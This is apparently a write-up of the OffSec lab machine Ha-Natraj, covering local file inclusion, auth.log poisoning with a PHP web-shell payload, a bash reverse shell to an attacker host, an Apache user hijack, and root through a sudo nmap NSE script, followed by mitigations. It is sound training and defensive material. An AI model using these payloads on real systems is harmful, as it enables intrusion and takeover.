Ha-Natraj — LFI Log Poisoning + Apache2 User Hijack + sudo nmap to Root | OffSec PG Play
Ha-Natraj is a machine that demands patience and rewards lateral thinking. The web server exposes a 2026-5-2 07:48:12 Author: infosecwriteups.com(查看原文) 阅读量:10 收藏

Roshan Rajbanshi

Ha-Natraj is a machine that demands patience and rewards lateral thinking. The web server exposes a PHP file inclusion vulnerability buried inside a /console/ directory — file.php accepts a file parameter and includes it verbatim, making it a classic LFI. Reading /var/log/auth.log through the LFI reveals that the log is writable by poisoning SSH connection attempts, turning a read primitive into remote code execution as www-data. From there, sudo -l surfaces something unusual: www-data Can restart Apache2 with no password. Apache2's configuration file turns out to be writable, and changing the User directive to mahakal — one of two user accounts found in /etc/passwd — causes Apache to respawn worker processes as that user. A fresh reverse shell lands as mahakal. One more sudo -l reveals the final step: passwordless nmap. A two-line NSE script and sudo nmap --script later, the effective UID is root.

Press enter or click to view image in full size

Attack Path: LFI (file.php) → log poisoning (auth.log) → RCE as www-datasudo systemctl + writable apache2.conf → shell as mahakalsudo nmap NSE (root)

Platform: OffSec Proving Grounds Play
Machine: Ha-Natraj
Difficulty: Easy
OS: Linux (Ubuntu)
Date: 2026–03–30

Table of Contents

1. Reconnaissance
1.1 Nmap Port Scan
1.2 Web Directory Enumeration
1.3 Discovering file.php
2. Initial Access — LFI to Log Poisoning RCE
2.1 Confirming the LFI Parameter
2.2 Reading /etc/passwd — User Discovery
2.3 Reading /var/log/auth.log — Poisoning Vector Confirmed
2.4 Leaking file.php Source via PHP Filter
2.5 Poisoning auth.log and Triggering RCE
3. Lateral Movement — Apache2 User Hijack (www-data → mahakal)
3.1 sudo -l — Restart Apache2 with No Password
3.2 Finding Writable apache2.conf
3.3 Changing the Apache User and Catching a Shell as mahakal
4. Privilege Escalation — sudo nmap NSE Script
5. Proof of Compromise
6. Vulnerability Summary
7. Defense & Mitigation
7.1 Local File Inclusion in file.php
7.2 Auth Log Readable and Poisonable via LFI
7.3 Apache Directory Listing Enabled
7.4 www-data Granted sudo on systemctl apache2
7.5 apache2.conf Writable by www-data
7.6 sudo NOPASSWD: nmap for mahakal

1. Reconnaissance

1.1 Nmap Port Scan

nmap -Pn -A -p- --open <TARGET_IP>

Results:

Port    State  Service  Version
------ ----- ------- -------------------------------------------
22/tcp open SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open HTTP Apache httpd 2.4.29 (Ubuntu)

Two ports. SSH and HTTP. The HTTP title comes back as HA:Natraj — a custom page, not a default install. OS fingerprint puts the kernel between 3.10 and 4.11. Standard two-port surface; the web server is where enumeration starts.

1.2 Web Directory Enumeration

gobuster dir -u http://<TARGET_IP>/ -w /usr/share/dirb/wordlists/common.txt

Results:

Path       Status  Notes
--------- ------ ----------------------------------
/console 301 Redirects to /console/
/images 301 Redirects to /images/
/index.html 200 Custom landing page

/console/ is the non-standard result. The redirect confirms the directory exists and Apache is serving it. /images/ is expected on a themed machine and turns out to contain nothing useful. The console path is the next stop.

1.3 Discovering file.php

curl http://<TARGET_IP>/console/

Press enter or click to view image in full size

Directory listing is enabled and exposes a single PHP file:

file.php    2020-06-03    140 bytes

A PHP file named file.php in a directory called console. The name and size both suggest a file inclusion handler. The next step is confirming what parameter it accepts.

2. Initial Access — LFI to Log Poisoning RCE

2.1 Confirming the LFI Parameter

ffuf -u 'http://<TARGET_IP>/console/file.php?FUZZ=/etc/passwd' \
-w /usr/share/wordlists/dirb/common.txt \
-fs 0

Result:

file    [Status: 200, Size: 1398, Words: 9, Lines: 28]

Press enter or click to view image in full size

The file parameter returns a non-empty 200 response when pointed at /etc/passwd. That confirms local file inclusion — the script is reading and outputting arbitrary files from the filesystem.

2.2 Reading /etc/passwd — User Discovery

curl -i "http://<TARGET_IP>/console/file.php?file=/etc/passwd"

Output (relevant lines):

natraj:x:1000:1000:natraj,,,:/home/natraj:/bin/bash
mahakal:x:1001:1001:,,,,:/home/mahakal:/bin/bash

Press enter or click to view image in full size

Two interactive users on the box: natraj (UID 1000) and mahakal (UID 1001). Both have bash shells. Neither has a password visible — shadow passwords are in use. The question is whether there is a way to reach either account from the web shell context.

2.3 Reading /var/log/auth.log — Poisoning Vector Confirmed

curl http://<TARGET_IP>/console/file.php?file=/var/log/auth.log

Press enter or click to view image in full size

The file is readable. The log is actively recording SSH connection attempts — including failed ones — with the connecting username written into the log entry. This is the poisoning vector: anything sent as an SSH username lands verbatim in auth.log, and auth.log is readable via the LFI. If the username contains a PHP payload, including auth.log through the LFI will execute it.

2.4 Leaking file.php Source via PHP Filter

Before poisoning the log, confirm that the LFI uses include() rather than file_get_contents() — only include() will execute PHP code from the included file.

curl -s "http://<TARGET_IP>/console/file.php?file=php://filter/convert.base64-encode/resource=file.php" \
| base64 -d

Decoded source:

<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file");
}
else
{
include("index.php");
}
?>

Press enter or click to view image in full size

include("$file") — confirmed. PHP code in any included file will be evaluated. The poison will execute.

💡 The PHP php://filter wrapper reads a file's raw content without executing it, then encodes it in base64. This is how source code is leaked through an LFI without triggering execution — the base64-encoded output is safe to read, and decoding it locally reveals the original PHP.

2.5 Poisoning auth.log and Triggering RCE

The SSH client rejects PHP code as an invalid username. Instead, use netcat to send the raw SSH banner and a PHP payload directly to port 22:

echo '<?php system($_GET["cmd"]); ?>' | nc <TARGET_IP> 22

The server responds with its SSH banner, and the PHP payload is written into auth.log as a failed authentication attempt username. With the poison in place, trigger it through the LFI with a command parameter:

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Start the listener:

nc -lvnp 4444

Trigger the reverse shell:

curl -s "http://<TARGET_IP>/console/file.php?file=/var/log/auth.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"

Shell received:

connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 53560
www-data@ubuntu:/var/www/html/console$

Shell as www-data. The log poisoning worked — the PHP payload in auth.log was included and executed, spawning a bash reverse shell.

3. Lateral Movement — Apache2 User Hijack (www-data → mahakal)

3.1 sudo -l — Restart Apache2 with No Password

sudo -l

Output:

User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: /bin/systemctl start apache2
(ALL) NOPASSWD: /bin/systemctl stop apache2
(ALL) NOPASSWD: /bin/systemctl restart apache2

Press enter or click to view image in full size

www-data can restart Apache2 as root with no password. This is only useful if the Apache configuration can also be modified — a restart applies any pending configuration changes. The next step is checking whether apache2.conf is writable.

3.2 Finding Writable apache2.conf

find /etc/apache2 /lib/systemd/system -writable 2>/dev/null

Output (partial):

/etc/apache2/apache2.conf
/lib/systemd/system/single.service
/lib/systemd/system/bootmisc.service
...

/etc/apache2/apache2.conf is writable by www-data. Apache2's main configuration file controls which system user the web server worker processes run as — specifically the User and Group directives. Changing these to mahakal and restarting the service will cause new Apache worker processes to spawn as mahakal instead of www-data. Any PHP code executed by those workers will run in that user context.

3.3 Changing the Apache User and Catching a Shell as mahakal

Rewrite the User and Group directives in apache2.conf in a single pipeline:

cat /etc/apache2/apache2.conf \
| sed 's/User ${APACHE_RUN_USER}/User mahakal/' \
| sed 's/Group ${APACHE_RUN_GROUP}/Group mahakal/' \
> /tmp/apache2.conf.tmp \
&& cat /tmp/apache2.conf.tmp > /etc/apache2/apache2.conf

Restart Apache2:

sudo /bin/systemctl restart apache2

Start a fresh listener and trigger the LFI again with the same log poison payload — this time, the new Apache worker processes are running as mahakal:

connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 46918
mahakal@ubuntu:/var/www/html/console$

Shell as mahakal.

💡 The User directive in apache2.conf uses a variable substitution syntax (${APACHE_RUN_USER}) which resolves at service start. Replacing the entire variable reference with a literal username sidesteps the variable entirely and hard-codes the user directly into the configuration.

4. Privilege Escalation — sudo nmap NSE Script

sudo -l

Output:

User mahakal may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/nmap

Press enter or click to view image in full size

mahakal can run nmap as root with no password. Nmap supports Lua scripting via the --script flag — any .nse The file passed to it is executed by the nmap process. Since the nmap process here runs as root, the Lua script inherits root privileges. This is a well-documented GTFObins technique.

Write a minimal NSE script that spawns a shell:

echo "os.execute('/bin/bash')" > /tmp/root.nse

Execute it:

sudo /usr/bin/nmap --script=/tmp/root.nse

Output:

id
uid=0(root) gid=0(root) groups=0(root)

Root.

5. Proof of Compromise

uid=0(root) gid=0(root) groups=0(root)

6. Vulnerability Summary

#   Vulnerability                                   Severity   Impact
-- ---------------------------------------------- --------- -----------------------------------------------
1 Local File Inclusion in file.php Critical Arbitrary file read; escalates to RCE via log poison
2 auth.log poisonable via SSH username injection High PHP payload planted and executed via LFI include
3 Apache directory listing on /console/ Medium file.php discoverable without authentication
4 www-data granted sudo on systemctl apache2 High Service restart leveraged for lateral movement
5 apache2.conf writable by www-data Critical Apache user changed to mahakal; new shell spawned
6 sudo NOPASSWD: nmap for mahakal Critical Local privilege escalation to root via NSE script

7. Defense & Mitigation

7.1 Local File Inclusion in file.php

Root Cause: file.php passed the file GET parameter directly to PHP's include() function with no validation or sanitization. Any path accessible to the web server process could be included and — if it contained PHP code — executed.

Mitigations:

  • Never pass user-controlled input to include(), require(), file_get_contents(), or any file system function. If dynamic file inclusion is genuinely required, use a strict allowlist of permitted filenames and map user input to that list — never use the raw input as a path.
  • Disable PHP stream wrappers where not needed. The php://filter wrapper used to leak source code is enabled by default. Set allow_url_fopen = Off and restrict wrapper access php.ini to reduce the attack surface of any LFI that does exist.
  • Set open_basedir in the PHP configuration. This restricts which directories PHP can read from, limiting the damage a file inclusion vulnerability can cause even if it is exploited.
open_basedir = /var/www/html
  • Remove file.php from any production environment. There is no legitimate reason for a generic file inclusion handler to exist in a web root. If it was placed there for testing, it must be removed before the server is exposed.

7.2 Auth Log Readable and Poisonable via LFI

Root Cause: /var/log/auth.log was readable by the www-data process, and SSH logs authentication usernames verbatim. Combining a readable log with an include()-Based on LFI, created a code execution path — inject PHP into the log via a crafted SSH username, then trigger execution through the LFI.

Mitigations:

  • Restrict log file permissions. /var/log/auth.log should be owned by root a group adm and permissions 640. The www-data user has no legitimate reason to read authentication logs.
chmod 640 /var/log/auth.log
chown root:adm /var/log/auth.log
  • Use file_get_contents() instead of include() for file display. file_get_contents() Returns the raw content of a file as a string — it does not execute PHP within it. If the intent is to display a file's contents, this is the correct function. include() evaluates any PHP it encounters, which is what enables this attack entirely.
  • Send logs to a remote, centralized logging server. If auth logs are shipped off-system in real time, a local attacker cannot read or poison them on the compromised host.

7.3 Apache Directory Listing Enabled

Root Cause: Options Indexes was active on /console/, exposing file.php to any visitor who browses to that path.

Mitigations:

  • Disable directory listing globally. Set Options -Indexes in the Apache configuration for the document root. This is standard hardening and should be the default on every Apache deployment.
<Directory /var/www/html>
Options -Indexes
</Directory>
  • Remove development and testing PHP files before exposing a server. file.php should not exist in any production web root regardless of whether directory listing is enabled.

7.4 www-data Granted sudo on systemctl apache2

Root Cause: The www-data user was granted passwordless sudo access to start, stop, and restart Apache2. Combined with a writable configuration file, this created a direct lateral movement path to any system user named in apache2.conf.

Mitigations:

  • Remove this sudo entry. There is no operational justification for a web server process user to restart its own service. Service restarts should be performed by administrators via a controlled process — not by the process itself.
  • If an automated restart is genuinely required, use a tightly scoped mechanism. A dedicated restart script with hard-coded safe arguments, owned by root, executed via a specific sudo rule — not a blanket systemctl permission that can be combined with a writable config file.
  • Separate the web server process user from any user with operational privileges. www-data must never have write access to the configuration of any service it runs under.

7.5 apache2.conf Writable by www-data

Root Cause: /etc/apache2/apache2.conf had permissions that allowed www-data to write to it. This meant the user running the web server could modify its own runtime configuration — including which system user it spawned worker processes as.

Mitigations:

  • Audit and correct permissions on all Apache configuration files.
chown root:root /etc/apache2/apache2.conf
chmod 644 /etc/apache2/apache2.conf
  • Configuration files under /etc/apache2/ should be owned by root and writable only by root. The web server process user must never have write access to its own configuration.
  • Apply file integrity monitoring to /etc/apache2/. Any modification to Apache configuration files outside of a controlled maintenance window should generate an immediate alert.

7.6 sudo NOPASSWD: nmap for mahakal

Root Cause: The mahakal user was granted passwordless sudo access to /usr/bin/nmap. Nmap's --script flag executes arbitrary Lua code — since the process runs as root, the Lua script inherits root privileges. This is a one-step GTFObins escalation.

Mitigations:

  • Remove this sudo entry immediately. There is no scenario in which a standard user account needs to run nmap as root. Network scanning tools should be run by administrators directly, not delegated through sudoers.
  • Check GTFObins before adding any binary to sudoers. Nmap is prominently listed as a GTFOBins escalation vector via its --script flag. Any binary that can execute arbitrary code or spawn a shell must never appear in a NOPASSWD sudoers rule.
  • Audit all sudoers entries regularly. Review /etc/sudoers every file in /etc/sudoers.d/. Any NOPASSWD entry for a non-trivial binary — especially interpreters, network tools, or anything that can execute external code — is a privilege escalation waiting to happen.

OffSec PG Play — for educational purposes only.


文章来源: https://infosecwriteups.com/ha-natraj-lfi-log-poisoning-apache2-user-hijack-sudo-nmap-to-root-offsec-pg-play-dbbd1fa12bee?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh